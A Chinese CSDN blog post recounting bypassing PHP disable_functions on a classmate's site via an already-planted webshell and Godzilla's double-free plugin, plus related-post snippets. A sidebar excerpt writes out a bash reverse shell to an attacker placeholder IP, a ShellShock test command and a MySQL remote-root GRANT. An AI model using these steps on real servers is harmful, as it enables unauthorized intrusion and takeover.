超级好用的绕过php的disable_functions

于 2023-07-24 21:21:00 发布
阅读量140 收藏
点赞数 1
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/strider1123/article/details/131990571
版权

寻思寻思今天就写了吧

这里背景是在打同学搭的网站，一句话已经进去了，但是执行不了命令

 能够看到能用的函数几乎都被禁了

在网上找了挺多方法都用不了，蚁剑的各种插件也绕不过

最后找到了这个

 哥斯拉的绕过disable中的双链表

它的说法是这样的

 (来源：http://www.hackdig.com/10/hack-161150.htm)

看起来感觉很强，厂商没修？那这岂不是几乎无解

先在哥斯拉中选中绕过disable

然后选中双链表二次释放

 最后输入命令并执行

 成功

本来到了这里下一步就应该是反弹shell了，可惜这里不知道为什么服务器那头弹不出来了，只能先这样了

strider1123
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
php.ini disable_functions 配置 无效,看我深夜如何绕过disable_functions拿到主机权限
weixin_42164685的博客
03-21 983
找了一会找到一个上传点，尝试上传文件拿到shell用冰蝎连一下：三、开启外链拿到数据库然后尝试找他的数据库的配置文件，因为只能本地连接数据库不允许外链，所以我们可以先传一个小马登录他的数据库，然后在开启外链就ok：开启外链命令：GRANT ALL PRIVILEGES ON *.* TO ‘root’@'%’ IDENTIFIED BY ‘外链登录密码’ WITH GRANT OPTION;尝试用...
蚁剑的能绕过disable_functions的插件
06-21
蚁剑的能绕过disable_functions的插件,插件无法下载问题
file_put_contents 绕过$contents=“＜?php die()；?＞“.$contents，preg_match
feiniaotjx的博客
11-19 2054
绕过<?php die();?>,preg_match 大概意思是传文件名和文件内容，但是两个参数都要经过waf函数过滤，并且文件内容开头加了<?php die();?>，它的意思是直接结束了php语句的执行，相当与exit()退出执行函数，故导致写入php文件的函数无法执行所以我们需要让<?php die()?>不能执行，故可以使用php伪协议写入文件， 利用php://filter/convert.base64-decode/resource=5.php写入文件， $
简单讲解如何绕过PHP disable_function
h0ld1rs的博客
11-01 4390
前言 在渗透测试中，有时遇到拿到webshell后无法执行命令的情况，为了成功提权，需要我们绕过disable_function disable_function简介 disable_functions是php.ini中的一个设置选项，可以用来设置PHP环境禁止使用某些函数，通常是网站管理员为了安全起见，用来禁用某些危险的命令执行函数等。（eval并非PHP函数，放在disable_functions中是无法禁用的，若要禁用需要用到PHP的扩展Suhosin。） 绕过方法 1. 寻找未禁用的函数 黑名单
绕过disable_function
qq_51770207的博客
09-22 4067
绕过disable_function
一次旁站信息泄露的dedecms站点渗透
zhangge3663的博客
11-26 892
今天又是准备划水认真工作的一天，没想到一到公司领导就甩了个站过来，这可能就是打工人吧 话不多说来看看站，先信息收集一波 初步测试目标站点 打开进去是一个类似购物商城的地方，没有什么特殊的点，想要操作基本都要进行登录，中间件是nginx 再看看插件，惊喜来了，是dedecms 先直接盲打一波后台地址/dede 直接404...... 再看看好歹有前台，先注册个用户 再查看最后更新时间 可以知道是dedecms v5.7 sp2的版本 这个版本之后有前台管理员密码重置漏洞和任意密码重
渗透靶场--vulnstack-红队评估实战(3)
weixin_45794666的博客
07-20 1065
vulnstack-红队评估实战(3) 环境配置 攻击者： kali 192.168.154.129 web 192.168.154.135 192.168.93.100 pc 192.168.93.30 win2008 192.168.93.20 win2012 192.168.93.10 web1-ubantu 192.168.93.120 1.外网主机信息搜集 nmap扫描 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGg14jbu-16267
disable_functions绕过总结
闵行小鱼塘
05-18 1884
总结下disable_functions绕过的一些方法
绕过PHP disable_functions
3569
12-13 1010
https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb 需要翻译，我自己看了一半，感觉太慢，还是用了Google翻译 Orz   简而言之，IMAP对应RSH，可以直接绕过PHP，来代替system等执行命令。...
针对宝塔的RASP及其disable_functions的绕过1
08-03
针对宝塔的RASP及其disable_functions的绕过 RASP（Runtime Application Self-Protection）是一种 Runtime 应用程序自我保护技术，旨在保护应用程序免受攻击和恶意活动的影响。在宝塔平台上，RASP 技术可以拦截基于...
BShell:一个webshel​​l帮助脚本小子绕过disable_functions
05-17
一个Webshel​​l帮助脚本小子绕过disable_functions方法未过滤的函数直接执行php5 pcntl_exec exim_exec Windows php5.x COM LD_PRELOAD旁路用法为了使用ld_preload绕过，我们需要复制共享对象文件的内容，可以执行...
利用PHP扩展模块突破Disable_functions执行命令
09-13
通过以上步骤，我们可以成功地利用PHP扩展模块绕过`disable_functions`的限制，从而执行原本被禁止的命令。这种方法对于安全研究者来说非常重要，有助于发现潜在的安全漏洞。然而，需要注意的是，在真实世界的应用中...
PHP突破disable_functions常用姿势以及使用Fuzz挖掘含内部系统调用的函数1
08-03
本文将探讨几种常见的绕过`disable_functions`的方法，并介绍如何利用`Fuzz`技术发现包含内部系统调用的函数。 首先，我们知道`disable_functions`是基于黑名单机制，因此如果配置不完整，仍可能存在未被禁用的危险...
chromedriver-mac-arm64_126.0.6474.0.zip
07-31
chromedriver-mac-arm64_126.0.6474.0.zip
chromedriver-mac-arm64_128.0.6548.0.zip
07-31
chromedriver-mac-arm64_128.0.6548.0.zip
MySQL查询加速器：利用Query Cache提升效率
07-31
MySQL是一个流行的开源关系型数据库管理系统（RDBMS），广泛用于Web应用程序的后端数据存储。它基于结构化查询语言（SQL）来管理数据，并且是LAMP（Linux, Apache, MySQL, PHP/Python/Perl）技术栈的一部分，这个技术栈常用于构建动态网站和Web应用程序。 MySQL的特点包括： - **开放源代码**：MySQL的源代码是公开的，任何人都可以自由使用和修改。 - **跨平台**：MySQL可以在多种操作系统上运行，包括Linux、Windows、macOS等。 - **高性能**：MySQL以其快速的查询处理和良好的性能而闻名。 - **可靠性**：MySQL提供了多种机制来确保数据的完整性和可靠性，包括事务支持、备份和恢复功能。 - **易于使用**：MySQL提供了简单直观的界面和丰富的文档，便于用户学习和使用。 - **可扩展性**：MySQL支持从小型应用到大型企业级应用的扩展。 - **社区支持**：由于其广泛的使用，MySQL拥有一个活跃的开发者社区，提供大量的资源和支持。 MySQL被广泛应用于各种场景，包括在线事务处理（OL
Objective-C语言的基础教程.md
最新发布
07-31
Objective-C是一种面向对象的编程语言，是C语言的扩展。它主要用于苹果的iOS和macOS应用程序开发。
暂存暂存暂存暂存暂存暂存暂存暂存
07-31
暂存暂存暂存暂存暂存暂存暂存暂存
蚁剑绕过disable_functions
12-17
根据提供的引用内容，AntSword虚拟终端中已经集成了对ShellShock的利用，可以绕过disable_functions。具体步骤如下： 1.打开AntSword虚拟终端，输入以下命令，检查是否存在ShellShock漏洞： ```bash env x='() { :;}; echo vulnerable' bash -c "echo this is a test" ``` 如果输出“vulnerable”则表示存在ShellShock漏洞。 2.输入以下命令，生成一个反向Shell： ```bash bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1 ``` 其中，攻击者IP和攻击者端口需要替换为实际的IP和端口。 3.将生成的反向Shell复制到剪贴板中。 4.在AntSword虚拟终端中，点击“ShellShock”按钮，将反向Shell粘贴到弹出的窗口中，点击“执行”按钮。 5.此时，攻击者就可以通过反向Shell执行任意命令，绕过disable_functions限制。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值